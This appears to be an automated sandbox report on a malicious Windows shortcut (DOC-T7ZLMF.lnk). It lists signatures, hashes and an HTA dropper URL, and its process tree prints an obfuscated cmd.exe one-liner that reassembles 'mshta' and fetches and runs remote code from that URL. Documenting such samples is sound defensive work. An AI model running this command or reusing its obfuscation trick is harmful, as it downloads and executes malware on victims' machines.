Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:20

General

  • Target
    DOC-T7ZLMF.lnk
  • Size 2KB
  • Sample260804-j8tagsvdpg
  • SHA256 f6db18a296d4630bc228365d327e4055a29a044251e8be34a6bc87c232050100
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-T7ZLMF.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5020
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set uzEa=cfgwljipdxsplatprbcfg&&set gvXs=bakeoqybak&&set CQM=netihyicdrnet&&set jODD=syslpihmhaxsys&&set Di=cfgnzpngdwootdukluhsmmthhcfg&&set QZLCK=baktvghmzoyrjvjjgbak&&set eqB=bakqvijzvgbak&&set lDSuu=sysqzalsys&&set jEels=olddhwccsdspxsmaold&&set ob=f47starb&&set vW=qktj38&&set dnNfN=tmpeqxmdkyqxtmp&&set NUV=92pml&&set wxMo=ashtbw&&set qlgYk=7rla2&&set mQ=cachelvyaxrgfhycache&&set qfn=ht@tps:/@/ma@-p@df@fille@r.@l@a@t@/h/es@tag@i@o1.@php?@r=39@1@4@69@FB@5@D82DB&&start /b !NUV:~3,1!!wxMo:~1,3!!qlgYk:~3,1! !qfn:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4604

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads